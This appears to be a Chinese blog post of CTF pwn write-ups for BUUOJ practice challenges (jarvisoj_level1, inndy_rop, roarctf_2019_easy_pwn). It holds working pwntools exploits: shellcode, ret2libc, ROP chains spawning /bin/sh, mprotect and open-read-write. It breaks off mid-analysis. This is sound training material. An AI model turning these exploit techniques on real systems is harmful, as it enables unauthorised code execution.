<!DOCTYPE html>
<html lang="zh-cn" color-mode="light">

  <head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <meta name="keywords" content="" />
  <meta name="author" content="郁涛丶" />
  <meta name="description" content="" />
  
  
  <title>
    
      BUU_PWN刷题_0x30-0x3F 
      
      
      |
    
     郁涛丶&#39;s Blog
  </title>

  
    <link rel="apple-touch-icon" href="/images/favicon.png">
    <link rel="icon" href="/images/favicon.png">
  

  <!-- Raleway-Font -->
  <link href="https://fonts.googleapis.com/css?family=Raleway&display=swap" rel="stylesheet">

  <!-- hexo site css -->
  
<link rel="stylesheet" href="/css/color-scheme.css">
<link rel="stylesheet" href="/css/base.css">
<link rel="stylesheet" href="//at.alicdn.com/t/font_1886449_67xjft27j1l.css">
<link rel="stylesheet" href="/css/github-markdown.css">
<link rel="stylesheet" href="/css/highlight.css">
<link rel="stylesheet" href="/css/comments.css">

  <!-- 代码块风格 -->
  
    
<link rel="stylesheet" href="/css/figcaption/mac-block.css">

  

  <!-- jquery3.3.1 -->
  
    <script defer type="text/javascript" src="/plugins/jquery.min.js"></script>
  

  <!-- fancybox -->
  
    <link href="/plugins/jquery.fancybox.min.css" rel="stylesheet">
    <script defer type="text/javascript" src="/plugins/jquery.fancybox.min.js"></script>
  
  
<script src="/js/fancybox.js"></script>


  

  <script>
    var html = document.documentElement
    const colorMode = localStorage.getItem('color-mode')
    if (colorMode) {
      document.documentElement.setAttribute('color-mode', colorMode)
    }
  </script>
<!-- hexo injector head_end start -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/katex@0.12.0/dist/katex.min.css">

<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/hexo-math@4.0.0/dist/style.css">
<!-- hexo injector head_end end --><meta name="generator" content="Hexo 5.4.0"><link rel="alternate" href="/atom.xml" title="郁涛丶's Blog" type="application/atom+xml">
</head>


  <body>
    <div id="app">
      <div class="header">
  <div class="avatar">
    <a href="/">
      <!-- 头像取消懒加载，添加no-lazy -->
      
        <img src="/images/avatar.png" alt="">
      
    </a>
    <div class="nickname"><a href="/">Ghostasky</a></div>
  </div>
  <div class="navbar">
    <ul>
      
        <li class="nav-item" data-path="/">
          <a href="/">Home</a>
        </li>
      
        <li class="nav-item" data-path="/archives/">
          <a href="/archives/">Archives</a>
        </li>
      
        <li class="nav-item" data-path="/categories/">
          <a href="/categories/">Categories</a>
        </li>
      
        <li class="nav-item" data-path="/tags/">
          <a href="/tags/">Tags</a>
        </li>
      
        <li class="nav-item" data-path="/about/">
          <a href="/about/">About</a>
        </li>
      
    </ul>
  </div>
</div>


<script src="/js/activeNav.js"></script>



      <div class="flex-container">
        <!-- 文章详情页，展示文章具体内容，url形式：https://yoursite/文章标题/ -->
<!-- 同时为「标签tag」，「朋友friend」，「分类categories」，「关于about」页面的承载页面，具体展示取决于page.type -->


    <!-- LaTex Display -->

  
    <script async type="text/javascript" src="https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js"></script>
  
  <script>
    MathJax = {
      tex: {
        inlineMath: [['$', '$'], ['\\(', '\\)']]
      }
    }
  </script>


        
            
                <!-- clipboard -->

  
    <script async type="text/javascript" src="/plugins/clipboard.min.js"></script>
  
  
<script src="/js/codeCopy.js"></script>



                    
                        
                                
                                        
                                                
                                                        
                                                            <!-- 文章内容页 url形式：https://yoursite/文章标题/ -->
                                                            <div class="container post-details" id="post-details">
                                                                <div class="post-content">
                                                                    <div class="post-title">
                                                                        BUU_PWN刷题_0x30-0x3F
                                                                    </div>
                                                                    <div class="post-attach">
                                                                        <span class="post-pubtime">
        <i class="iconfont icon-updatetime" title="Update time"></i>
        2021-07-18
      </span>

                                                                        <span class="post-pubtime"> 本文共8.4k字 </span>

                                                                        <span class="post-pubtime">
        大约需要76min
      </span>

                                                                        
                                                                                    <span class="post-categories">
        <i class="iconfont icon-bookmark" title="Categories"></i>
        
        <span class="span--category">
          <a href="/categories/Technology/" title="Technology">
            <b>#</b> Technology
          </a>
        </span>
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            <span class="post-tags">
        <i class="iconfont icon-tags" title="Tags"></i>
        
        <span class="span--tag">
          <a href="/tags/PWN/" title="PWN">
            <b>#</b> PWN
          </a>
        </span>
                                                                            
                                                                                </span>
                                                                                
                                                                    </div>
                                                                    <div class="markdown-body">
                                                                        <p>[TOC]</p>
<h1 id="0x30-jarvisoj-level1"><a href="#0x30-jarvisoj-level1" class="headerlink" title="0x30.jarvisoj_level1"></a>0x30.jarvisoj_level1</h1><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">ssize_t</span> <span class="title">vulnerable_function</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">136</span>]; <span class="comment">// [esp+0h] [ebp-88h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;What&#x27;s this:%p?\n&quot;</span>, buf);</span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, <span class="number">0x100</span>u);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>tmd，这题给的题目和平台的题不太一样，正常这道题的exp：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&quot;./level1&quot;</span>)</span><br><span class="line"><span class="comment">#io = remote(&quot;node4.buuoj.cn&quot;,29905)</span></span><br><span class="line">buf_addr = <span class="built_in">int</span>(io.recv()[-<span class="number">12</span>:-<span class="number">2</span>],<span class="number">16</span>)</span><br><span class="line">payload = asm(shellcraft.sh())</span><br><span class="line">payload +=(<span class="number">0x88</span>+<span class="number">4</span>-<span class="built_in">len</span>(asm(shellcraft.sh())))*<span class="string">&#x27;a&#x27;</span> + p32(buf_addr)</span><br><span class="line"><span class="built_in">print</span> <span class="built_in">hex</span>(buf_addr)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<p>只能ret2libc了：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"><span class="comment">#io = process(&quot;./level1&quot;)</span></span><br><span class="line">elf = ELF(<span class="string">&quot;./level1&quot;</span>)</span><br><span class="line">libc = ELF(<span class="string">&quot;./libc-2.23.so&quot;</span>)</span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">29905</span>)</span><br><span class="line">payload = (<span class="number">0x88</span>+<span class="number">4</span>)*<span class="string">&#x27;a&#x27;</span> + p32(elf.plt[<span class="string">&#x27;write&#x27;</span>])+p32(elf.sym[<span class="string">&#x27;main&#x27;</span>])+p32(<span class="number">1</span>)+p32(elf.got[<span class="string">&#x27;read&#x27;</span>])+p32(<span class="number">4</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">read = u32(io.recv(<span class="number">4</span>))</span><br><span class="line">base = read - libc.sym[<span class="string">&#x27;read&#x27;</span>]</span><br><span class="line">system_add = base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">bin_sh = base + libc.search(<span class="string">&#x27;/bin/sh&#x27;</span>).<span class="built_in">next</span>()</span><br><span class="line">payload = (<span class="number">0x88</span>+<span class="number">4</span>)*<span class="string">&#x27;a&#x27;</span> + p32(system_add) + p32(<span class="number">0xdeadbeef</span>) + p32(bin_sh)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>



<h1 id="0x31-inndy-rop"><a href="#0x31-inndy-rop" class="headerlink" title="0x31.inndy_rop"></a>0x31.inndy_rop</h1><h2 id="解法一：ROP"><a href="#解法一：ROP" class="headerlink" title="解法一：ROP"></a>解法一：ROP</h2><p>静态编译，可以直接ropgadget找rop链：<code>ROPgadget --binary rop --ropchain</code></p>
<p>exp:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line">context(log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&quot;./rop&quot;</span>)</span><br><span class="line">elf = ELF(<span class="string">&quot;./rop&quot;</span>)</span><br><span class="line"></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0xc</span>+<span class="number">0x4</span>)</span><br><span class="line"></span><br><span class="line">payload += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0806ecda</span>) <span class="comment"># pop edx ; ret</span></span><br><span class="line">payload += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080ea060</span>) <span class="comment"># @ .data</span></span><br><span class="line">payload += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080b8016</span>) <span class="comment"># pop eax ; ret</span></span><br><span class="line">payload += <span class="string">&#x27;/bin&#x27;</span></span><br><span class="line">payload += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0805466b</span>) <span class="comment"># mov dword ptr [edx], eax ; ret</span></span><br><span class="line">payload += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0806ecda</span>) <span class="comment"># pop edx ; ret</span></span><br><span class="line">payload += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080ea064</span>) <span class="comment"># @ .data + 4</span></span><br><span class="line">payload += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080b8016</span>) <span class="comment"># pop eax ; ret</span></span><br><span class="line">payload += <span class="string">&#x27;//sh&#x27;</span></span><br><span class="line">payload += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0805466b</span>) <span class="comment"># mov dword ptr [edx], eax ; ret</span></span><br><span class="line">payload += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0806ecda</span>) <span class="comment"># pop edx ; ret</span></span><br><span class="line">payload += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080ea068</span>) <span class="comment"># @ .data + 8</span></span><br><span class="line">payload += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080492d3</span>) <span class="comment"># xor eax, eax ; ret</span></span><br><span class="line">payload += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0805466b</span>) <span class="comment"># mov dword ptr [edx], eax ; ret</span></span><br><span class="line">payload += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080481c9</span>) <span class="comment"># pop ebx ; ret</span></span><br><span class="line">payload += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080ea060</span>) <span class="comment"># @ .data</span></span><br><span class="line">payload += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080de769</span>) <span class="comment"># pop ecx ; ret</span></span><br><span class="line">payload += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080ea068</span>) <span class="comment"># @ .data + 8</span></span><br><span class="line">payload += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0806ecda</span>) <span class="comment"># pop edx ; ret</span></span><br><span class="line">payload += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080ea068</span>) <span class="comment"># @ .data + 8</span></span><br><span class="line">payload += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080492d3</span>) <span class="comment"># xor eax, eax ; ret</span></span><br><span class="line">payload += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a66f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">payload += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a66f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">payload += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a66f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">payload += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a66f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">payload += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a66f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">payload += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a66f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">payload += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a66f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">payload += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a66f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">payload += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a66f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">payload += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a66f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">payload += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a66f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">payload += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0806c943</span>) <span class="comment"># int 0x80</span></span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="解法二：mprotect"><a href="#解法二：mprotect" class="headerlink" title="解法二：mprotect"></a>解法二：mprotect</h2><p>exp:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line">context(log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"><span class="comment">#io = process(&quot;./rop&quot;)</span></span><br><span class="line">elf = ELF(<span class="string">&quot;./rop&quot;</span>)</span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">25843</span>)</span><br><span class="line">pop_3_ret = <span class="number">0x080483c8</span></span><br><span class="line">payload = <span class="string">&quot;a&quot;</span>*(<span class="number">0xc</span>+<span class="number">4</span>) </span><br><span class="line">payload += p32(elf.sym[<span class="string">&#x27;mprotect&#x27;</span>]) </span><br><span class="line">payload += p32(pop_3_ret)</span><br><span class="line">payload += p32(elf.bss() &amp; <span class="number">0xffff000</span>)</span><br><span class="line">payload += p32(<span class="number">0x1000</span>)</span><br><span class="line">payload += p32(<span class="number">7</span>)</span><br><span class="line">payload += p32(elf.sym[<span class="string">&#x27;gets&#x27;</span>])</span><br><span class="line">payload += p32(elf.bss())</span><br><span class="line">payload += p32(elf.bss())</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.sendline(asm(shellcraft.sh()))</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="解法三：syscall"><a href="#解法三：syscall" class="headerlink" title="解法三：syscall"></a>解法三：syscall</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">p = process(<span class="string">&#x27;./rop&#x27;</span>) </span><br><span class="line"><span class="comment">#p = remote(&#x27;node3.buuoj.cn&#x27;,26508)</span></span><br><span class="line">e = ELF(<span class="string">&#x27;./rop&#x27;</span>)</span><br><span class="line">offset = <span class="number">0xc</span></span><br><span class="line">pop_ecx_ret = <span class="number">0x80de769</span></span><br><span class="line">pop_ebx_pop_edx_ret = <span class="number">0x806ecd9</span></span><br><span class="line">pop_esi_pop_ebx_pop_edx_ret = <span class="number">0x806ecd8</span></span><br><span class="line">pop_eax_ret = <span class="number">0x80b8016</span></span><br><span class="line">syscall = <span class="number">0x80627cd</span></span><br><span class="line">int_0x80 = <span class="number">0x806c943</span></span><br><span class="line">payload = <span class="string">b&#x27;A&#x27;</span> * offset + p32(<span class="number">0xdeadbeef</span>) </span><br><span class="line">payload += p32(e.sym[<span class="string">&#x27;gets&#x27;</span>]) </span><br><span class="line">payload += p32(pop_eax_ret) </span><br><span class="line">payload += p32(e.bss()) </span><br><span class="line">payload += p32(pop_eax_ret) </span><br><span class="line">payload += p32(<span class="number">11</span>) </span><br><span class="line">payload += p32(pop_ebx_pop_edx_ret) </span><br><span class="line">payload += p32(e.bss()) </span><br><span class="line">payload += p32(<span class="number">0</span>) </span><br><span class="line">payload += p32(pop_ecx_ret) </span><br><span class="line">payload += p32(<span class="number">0</span>) </span><br><span class="line">payload += p32(int_0x80)</span><br><span class="line">p.sendline(payload)</span><br><span class="line">p.sendline(<span class="string">b&quot;/bin/sh\x00&quot;</span>)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="解法四：orw"><a href="#解法四：orw" class="headerlink" title="解法四：orw"></a>解法四：orw</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">p = process(<span class="string">&#x27;./rop&#x27;</span>) </span><br><span class="line"><span class="comment">#p = remote(&#x27;node3.buuoj.cn&#x27;,26508)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./rop&#x27;</span>)</span><br><span class="line">pop_edx_ret = <span class="number">0x806ecda</span></span><br><span class="line">pop_ebx_pop_edx_ret = <span class="number">0x806ecd9</span></span><br><span class="line">pop_esi_pop_ebx_pop_edx_ret = <span class="number">0x806ecd8</span></span><br><span class="line"></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0xc</span>+<span class="number">4</span>)</span><br><span class="line">payload += p32(elf.sym[<span class="string">&#x27;gets&#x27;</span>])</span><br><span class="line">payload += p32(pop_edx_ret)</span><br><span class="line">payload += p32(elf.bss())</span><br><span class="line">payload += p32(elf.sym[<span class="string">&#x27;open&#x27;</span>])</span><br><span class="line">payload += p32(pop_ebx_pop_edx_ret)</span><br><span class="line">payload += p32(elf.bss())</span><br><span class="line">payload += p32(<span class="number">4</span>)</span><br><span class="line">payload += p32(elf.sym[<span class="string">&#x27;read&#x27;</span>]) </span><br><span class="line">payload += p32(pop_esi_pop_ebx_pop_edx_ret) </span><br><span class="line">payload += p32(<span class="number">3</span>)</span><br><span class="line">payload += p32(elf.bss()) </span><br><span class="line">payload += p32(<span class="number">0x100</span>) </span><br><span class="line">payload += p32(elf.sym[<span class="string">&#x27;write&#x27;</span>]) </span><br><span class="line">payload += p32(<span class="number">0xdeadbeef</span>) </span><br><span class="line">payload += p32(<span class="number">1</span>) </span><br><span class="line">payload += p32(elf.bss()) </span><br><span class="line">payload += p32(<span class="number">0x100</span>)</span><br><span class="line"></span><br><span class="line">p.sendline(payload)</span><br><span class="line">p.sendline(<span class="string">&#x27;./flag&#x27;</span>)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>



<h1 id="0x32-roarctf-2019-easy-pwn"><a href="#0x32-roarctf-2019-easy-pwn" class="headerlink" title="0x32.roarctf_2019_easy_pwn"></a>0x32.roarctf_2019_easy_pwn</h1><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~/Desktop$ checksec roarctf_2019_easy_pwn </span><br><span class="line">[*] &#x27;/home/gwt/Desktop/roarctf_2019_easy_pwn&#x27;</span><br><span class="line">    Arch:     amd64-64-little</span><br><span class="line">    RELRO:    Full RELRO</span><br><span class="line">    Stack:    Canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      PIE enabled</span><br></pre></td></tr></table></figure>

<p>保护全开</p>
<p>分为create，write，drop和show</p>
<p>create:</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">__int64 <span class="title">sub_C46</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  __int64 result; <span class="comment">// rax</span></span><br><span class="line">  <span class="keyword">int</span> index; <span class="comment">// [rsp+4h] [rbp-1Ch]</span></span><br><span class="line">  <span class="keyword">int</span> v2; <span class="comment">// [rsp+8h] [rbp-18h]</span></span><br><span class="line">  <span class="keyword">int</span> size; <span class="comment">// [rsp+8h] [rbp-18h]</span></span><br><span class="line">  <span class="keyword">void</span> *malloc_addr; <span class="comment">// [rsp+10h] [rbp-10h]</span></span><br><span class="line"></span><br><span class="line">  result = <span class="number">0LL</span>;</span><br><span class="line">  <span class="keyword">for</span> ( index = <span class="number">0</span>; index &lt;= <span class="number">15</span>; ++index )</span><br><span class="line">  &#123;</span><br><span class="line">    result = *(&amp;unk_202040 + <span class="number">4</span> * index);</span><br><span class="line">    <span class="keyword">if</span> ( !result )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;size: &quot;</span>);</span><br><span class="line">      size = INPUT(v2);</span><br><span class="line">      <span class="keyword">if</span> ( size &gt; <span class="number">0</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="keyword">if</span> ( size &gt; <span class="number">4096</span> )</span><br><span class="line">          size = <span class="number">4096</span>;</span><br><span class="line">        malloc_addr = <span class="built_in">calloc</span>(size, <span class="number">1uLL</span>);</span><br><span class="line">        <span class="keyword">if</span> ( !malloc_addr )</span><br><span class="line">          <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">        *(&amp;unk_202040 + <span class="number">4</span> * index) = <span class="number">1</span>;         <span class="comment">// 置1表示已使用</span></span><br><span class="line">        *(&amp;unk_202044 + <span class="number">4</span> * index) = size;      <span class="comment">// 写入大小</span></span><br><span class="line">        qword_202048[<span class="number">2</span> * index] = malloc_addr;  <span class="comment">// 写入malloc的地址</span></span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;the index of ticket is %d \n&quot;</span>, index);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">return</span> index;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>write:</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">__int64 <span class="title">sub_E82</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v1; <span class="comment">// [rsp+Ch] [rbp-14h]</span></span><br><span class="line">  <span class="keyword">int</span> v2; <span class="comment">// [rsp+Ch] [rbp-14h]</span></span><br><span class="line">  <span class="keyword">int</span> v3; <span class="comment">// [rsp+10h] [rbp-10h]</span></span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> v4; <span class="comment">// [rsp+14h] [rbp-Ch]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;index: &quot;</span>);</span><br><span class="line">  v2 = INPUT(v1);</span><br><span class="line">  v3 = v2;</span><br><span class="line">  <span class="keyword">if</span> ( v2 &gt;= <span class="number">0</span> &amp;&amp; v2 &lt;= <span class="number">15</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    v2 = *(&amp;unk_202040 + <span class="number">4</span> * v2);</span><br><span class="line">    <span class="keyword">if</span> ( v2 == <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;size: &quot;</span>);</span><br><span class="line">      v2 = INPUT(<span class="number">1</span>);</span><br><span class="line">      v4 = sub_E26(*(&amp;unk_202044 + <span class="number">4</span> * v3), v2);</span><br><span class="line">      <span class="keyword">if</span> ( v2 &gt; <span class="number">0</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;content: &quot;</span>);</span><br><span class="line">        v2 = sub_D92(qword_202048[<span class="number">2</span> * v3], v4);</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> v2;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>其中：</p>
